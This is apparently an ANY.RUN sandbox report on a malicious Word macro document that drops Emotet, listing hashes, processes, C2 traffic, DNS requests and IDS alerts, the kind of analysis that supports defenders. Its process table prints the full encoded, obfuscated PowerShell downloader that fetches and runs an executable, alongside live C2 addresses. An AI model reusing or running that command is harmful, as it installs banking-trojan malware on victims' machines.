analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
download:

DdVCFNY59U

Full analysis: https://app.any.run/tasks/7aeba658-ea57-458e-91de-973f4a8989ce
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: April 25, 2019, 18:11:47
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
emotet
trojan
feodo
evasion
emotet-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Apr 25 14:36:00 2019, Last Saved Time/Date: Thu Apr 25 14:36:00 2019, Number of Pages: 1, Number of Words: 1, Number of Characters: 9, Security: 0
MD5:

81A3D875A14500A5FF4513F9BF1B8B32

SHA1:

8D2707733435A243103E7D05246DE7D8C45BDCF5

SHA256:

3018734C8E915925793A54BFE29457BF245D9A58F3077D74EC22E2B04DCF9972

SSDEEP:

3072:577HUUUUUUUUUUUUUUUUUUUTkOQePu5U8q/Vrx1YTBsPDgnZr50HY8x2:577HUUUUUUUUUUUUUUUUUUUT52VA17Y3

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 103.exe (PID: 2052)
      • 103.exe (PID: 2708)
      • soundser.exe (PID: 1840)
      • soundser.exe (PID: 3356)
    • Emotet process was detected

      • soundser.exe (PID: 1840)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 1476)
    • EMOTET was detected

      • soundser.exe (PID: 3356)
    • Connects to CnC server

      • soundser.exe (PID: 3356)
    • Changes the autorun value in the registry

      • soundser.exe (PID: 3356)
  • SUSPICIOUS

    • Application launched itself

      • 103.exe (PID: 2052)
      • soundser.exe (PID: 1840)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 1476)
      • 103.exe (PID: 2708)
    • Creates files in the user directory

      • powershell.exe (PID: 1476)
    • Starts itself from another location

      • 103.exe (PID: 2708)
    • Connects to server without host name

      • soundser.exe (PID: 3356)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2352)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 2352)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 9
Paragraphs: 1
Lines: 1
Company: -
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 9
Words: 1
Pages: 1
ModifyDate: 2019:04:25 13:36:00
CreateDate: 2019:04:25 13:36:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: -
Keywords: -
Author: -
Subject: -
Title: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
6
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 103.exe no specs 103.exe #EMOTET soundser.exe no specs #EMOTET soundser.exe

Process information

PID
CMD
Path
Indicators
Parent process
2352"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\DdVCFNY59U.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
1476powershell -e JABoAFoAXwBjAEEAQQA9ACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiACAALQBmACAAJwBIAEEAVQAnACwAJwBCADEAJwAsACcAQQBBAEEAJwApADsAJABqAFgAQQBDAFEAVQBfACAAPQAgACcAMQAwADMAJwA7ACQAVwA0AEEAQQBjAEEAPQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAgAC0AZgAgACcANAAnACwAJwBuACcALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnADQAQgAnACwAJwBvAEEAVQAnACkAKQA7ACQAZgBaAFUAQQBBAGsAQQBaAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABqAFgAQQBDAFEAVQBfACsAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwAuAGUAeAAnACwAJwBlACcAKQA7ACQARwBRAFUAQgBrAFgAMQA9ACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiACAALQBmACAAJwBHACcALAAnAEQAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAQQBBAFoAJwAsACcARwBBACcAKQApADsAJABvAFoAQQBBAHgAQgBBAFUAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4AYABlAFQALgBgAFcARQBCAEMATABpAEUAYABOAHQAOwAkAGYAeAB3AFoAQQBVAEEAYwA9ACgAIgB7ADIANQB9AHsAMQB9AHsAOAB9AHsANAAzAH0AewAxADgAfQB7ADMAOQB9AHsAOQB9AHsAMwB9AHsAMQA5AH0AewAyADQAfQB7ADIAMAB9AHsAMAB9AHsAMwAzAH0AewAxADUAfQB7ADUAfQB7ADQANwB9AHsANAA4AH0AewA0ADEAfQB7ADEANwB9AHsAMQAxAH0AewAyADMAfQB7ADIAMgB9AHsAMQA2AH0AewA3AH0AewA2AH0AewAyADEAfQB7ADMAMgB9AHsAMQAyAH0AewAyADYAfQB7ADQANAB9AHsAMQAzAH0AewAzADgAfQB7ADIANwB9AHsAMgA4AH0AewA1ADAAfQB7ADMANgB9AHsANAAyAH0AewAzADQAfQB7ADQANgB9AHsAMgB9AHsANAAwAH0AewAxADQAfQB7ADQAOQB9AHsANAA1AH0AewAzADEAfQB7ADEAMAB9AHsAMgA5AH0AewAzADcAfQB7ADMAMAB9AHsANAB9AHsAMwA1AH0AIgAtAGYAIAAoACIAewAxAH0AewAyAH0AewAwAH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwB0AHQAcAA6ACcALAAnAEAAaAAnACkALAAnADAAJwAsACcAZgAvACcAKQAsACcAYQAnACwAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBzAG8AYwAnACwAJwBpAGEAJwAsACgAIgB7ADIAfQB7ADAAfQB7ADEAfQAiACAALQBmACAAJwB1ACcALAAnAG4AZwAuAGkAJwAsACcAYwBoACcAKQApACwAJwBwACcALAAnAGUAbgAnACwAJwBvAGEAJwAsACcALwAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAZQBuAHQAJwAsACcAdAAnACkALAAnAG4AJwAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAdAAvAHcAJwAsACcAZQAnACkALAAnAC4AbgAnACkALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBjAG8AJwAsACcAYQAuACcAKQAsACcAdwBwACcALAAnAHQAJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcALwAvAGEAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAYwBzAGIAJwAsACcAbwAnACkAKQAsACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiACAALQBmACAAKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAJwBAAGgAdAAnACwAJwBGAC8AJwAsACcAUwBfAHkAJwApACwAJwAvACcALAAnADYAJwApACwAJwBwAG4AYQAnACwAJwBuACcALAAnAG0ALwAnACwAJwB6ACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwB0ACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAC0AYwBvACcALAAnAG4AJwApACkALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcALwBJAF8AJwAsACcAdAAnACkALAAnAFkAJwAsACcAYwBvACcALAAnAC0AJwAsACcAZQBuACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwAvACcALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAdAB0AHAAOgAvACcALAAnAGgAJwApACkALAAnAHAAJwAsACcAYwAnACwAJwBsACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBtAC8AdwAnACwAJwBwAC0AYwAnACkALAAnAG4AdAAnACwAJwB0ACcALAAoACIAewAyAH0AewAxAH0AewAwAH0AIgAgAC0AZgAgACcAdAAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAQABoACcALAAnAFQALwAnACkALAAnADMAXwBpACcAKQAsACcALwAvAGEAJwAsACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiAC0AZgAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAIAAnAGgAdAAnACwAJwBwAC8AQAAnACwAJwBnACcAKQAsACcAOgAnACwAJwB0AHAAJwApACwAKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcALwBUADgAXwAnACwAJwB0ACcAKQAsACcAcAAvACcALAAnAEYAJwApACwAKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIAIAAtAGYAIAAnAGUAcwAvACcALAAnAGQAJwAsACcAeQBuACcAKQAsACcAbwAnACwAKAAiAHsAMwB9AHsAMgB9AHsAMQB9AHsAMAB9ACIAIAAtAGYAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAdwBwAC0AaQAnACwAJwBuACcAKQAsACcAbQAvACcALAAnAGMAbwAnACwAJwBkAGEALgAnACkALAAnAHoAegAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAGwALgAnACwAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAG4ALwAnACwAJwBpAG0AZwAnACwAJwB2ACcAKQApACwAJwBjAG8AJwAsACcAXwAnACwAJwBpAG0AJwAsACcAOgAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAYQB4ACcALAAnAGEAcwAnACkALAAoACIAewAwAH0AewAxAH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwBvAG4AJwAsACcALwAvAGMAJwApACwAJwBnACcAKQAsACcAcwAnACwAJwBpAHMALgAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAdABwADoALwAvACcALAAnAHcAdwAnACkALAAnAHcALgAnACkALAAnAHUAJwApAC4AIgBzAFAATABgAEkAdAAiACgAJwBAACcAKQA7ACQAVQBVAHcAWgBRADEAQQA9ACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBCACcALAAnAGMAQQB3ACcAKQAsACcAQgBfACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGYAQQBCAGsAMQBBAEEANAAgAGkAbgAgACQAZgB4AHcAWgBBAFUAQQBjACkAewB0AHIAeQB7ACQAbwBaAEEAQQB4AEIAQQBVAC4AIgBkAE8AVwBuAGAATABgAG8AYQBEAGAARgBpAGwARQAiACgAJABmAEEAQgBrADEAQQBBADQALAAgACQAZgBaAFUAQQBBAGsAQQBaACkAOwAkAGMAQwBfAEEAVQBDAD0AKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBDAEEAQQAnACwAJwBBACcAKQAsACcAWgAnACwAJwBQAFEAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAGYAWgBVAEEAQQBrAEEAWgApAC4AIgBsAGUAYABOAGAARwBUAEgAIgAgAC0AZwBlACAAMgAwADIAOAAxACkAIAB7AC4AKAAnAEkAbgB2AG8AawBlAC0ASQAnACsAJwB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAGYAWgBVAEEAQQBrAEEAWgA7ACQAVQBBAEEAYwBEAHcAPQAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAQQBRACcALAAoACIAewAwAH0AewAyAH0AewAxAH0AIgAtAGYAJwBuACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBVACcALAAnAEEAVQBfACcAKQAsACcAQQAnACkAKQA7AGIAcgBlAGEAawA7ACQAagBYAGMAXwBBAGsAPQAoACIAewAyAH0AewAwAH0AewAxAH0AIgAgAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBBAEQAJwAsACcAVQBBACcAKQAsACcAdwBjACcALAAnAEgAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABCAFoAQgBCAEEAVQA9ACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcARABBAEMAJwAsACcAQQAnACkALAAnAFoAYwAnACkAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2052"C:\Users\admin\103.exe" C:\Users\admin\103.exepowershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2708--4b59fb32C:\Users\admin\103.exe
103.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
1840"C:\Users\admin\AppData\Local\soundser\soundser.exe"C:\Users\admin\AppData\Local\soundser\soundser.exe
103.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3356--3ab57678C:\Users\admin\AppData\Local\soundser\soundser.exe
soundser.exe
User:
admin
Integrity Level:
MEDIUM
Total events
1 722
Read events
1 238
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
2352WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR6712.tmp.cvr
MD5:
SHA256:
1476powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PS0DUJ5JRHFXRXISQZPF.temp
MD5:
SHA256:
1476powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:131DC75F6D4142CA9244945A91A71E8D
SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4
1476powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFe757a.TMPbinary
MD5:131DC75F6D4142CA9244945A91A71E8D
SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4
2352WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:97AE2824056B30FAA01477CF771A3139
SHA256:6DBB34D06B6A0FBBFECD6D913233B9C7D8D9CEC61C02C048B32D747A801CD2D4
2352WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:D2E15D5C604345F8015FBF3360A0E0AC
SHA256:1F21FE58E7748D2F29BC412D23F15565CB01B44D017CC45BB01701708A9978D6
2352WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$VCFNY59U.docpgc
MD5:AF149ECFD1E1798D11A127E915D07C8D
SHA256:DA16AEDEE818231ED43841F3D3CD9C47EED290F758E2D9A668F83581D6550872
1476powershell.exeC:\Users\admin\103.exeexecutable
MD5:A8A91E019ED26398DC25902059E2A179
SHA256:5438104F416BB8A85E3352871E0D05B137548134AF616058DDB3F98BDE0D1353
2708103.exeC:\Users\admin\AppData\Local\soundser\soundser.exeexecutable
MD5:A8A91E019ED26398DC25902059E2A179
SHA256:5438104F416BB8A85E3352871E0D05B137548134AF616058DDB3F98BDE0D1353
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
197
DNS requests
155
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3356
soundser.exe
POST
159.0.130.149:443
http://159.0.130.149:443/arizona/cookies/ringin/merge/
SA
malicious
3356
soundser.exe
POST
77.111.149.55:80
http://77.111.149.55/ban/child/
HU
malicious
3356
soundser.exe
POST
191.92.69.115:80
http://191.92.69.115/merge/acquire/ringin/merge/
CO
malicious
1476
powershell.exe
GET
200
5.45.71.231:80
http://animzzz.net/wp-content/I_0f/
NL
executable
78.0 Kb
suspicious
3356
soundser.exe
POST
200
198.58.114.91:4143
http://198.58.114.91:4143/cookies/mult/ringin/merge/
US
binary
39.5 Kb
malicious
3356
soundser.exe
GET
200
198.58.114.91:4143
http://198.58.114.91:4143/whoami.php
US
text
13 b
malicious
3356
soundser.exe
POST
200
149.255.56.242:8080
http://149.255.56.242:8080/json/stubs/ringin/
GB
binary
148 b
malicious
3356
soundser.exe
POST
200
198.58.114.91:4143
http://198.58.114.91:4143/img/stubs/
US
binary
39.4 Kb
malicious
3356
soundser.exe
POST
200
198.58.114.91:4143
http://198.58.114.91:4143/prep/results/
US
binary
40.5 Kb
malicious
3356
soundser.exe
POST
200
149.255.56.242:8080
http://149.255.56.242:8080/walk/stubs/ringin/
GB
binary
705 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3356
soundser.exe
198.58.114.91:4143
Linode, LLC
US
malicious
3356
soundser.exe
77.111.149.55:80
Tarr Kft.
HU
malicious
3356
soundser.exe
68.178.252.229:465
smtpout.secureserver.net
GoDaddy.com, LLC
US
unknown
3356
soundser.exe
159.0.130.149:443
Saudi Telecom Company JSC
SA
malicious
3356
soundser.exe
191.92.69.115:80
CO
malicious
3356
soundser.exe
149.255.56.242:8080
Awareness Software Limited
GB
malicious
212.82.101.35:465
smtp.verizon.net
Yahoo! UK Services Limited
CH
shared
1476
powershell.exe
5.45.71.231:80
animzzz.net
Serverius Holding B.V.
NL
suspicious
3356
soundser.exe
173.248.153.14:587
smtp.idcomm.com
Handy Networks, LLC
US
unknown
3356
soundser.exe
74.208.5.15:587
smtp.mail.com
1&1 Internet SE
US
malicious

DNS requests

Domain
IP
Reputation
animzzz.net
  • 5.45.71.231
suspicious
smtp.mail.com
  • 74.208.5.15
shared
smtp-mail.outlook.com
  • 40.101.125.2
  • 52.97.138.98
  • 40.101.100.210
  • 40.101.125.226
  • 40.101.100.2
  • 52.97.156.178
  • 40.101.43.194
  • 40.101.45.82
  • 52.97.164.178
  • 40.101.42.66
  • 40.101.72.146
  • 40.101.46.210
shared
smtp.idcomm.com
  • 173.248.153.14
unknown
smtpout.secureserver.net
  • 68.178.252.229
  • 173.201.192.229
  • 68.178.252.101
  • 173.201.193.101
  • 173.201.192.101
  • 173.201.193.228
whitelisted
smtp.verizon.net
  • 212.82.101.35
shared
smtp.matticks.com
  • 66.226.70.65
unknown
smtp.wcc.net
  • 69.7.80.87
shared
relais.videotron.ca
  • 24.201.245.36
unknown
smtp.siteprotect.com
  • 64.41.126.110
shared

Threats

PID
Process
Class
Message
1476
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
1476
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
1476
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3356
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3356
soundser.exe
Potentially Bad Traffic
ET POLICY HTTP traffic on port 443 (POST)
3356
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3356
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3356
soundser.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 3
3356
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3356
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
14 ETPRO signatures available at the full report
No debug info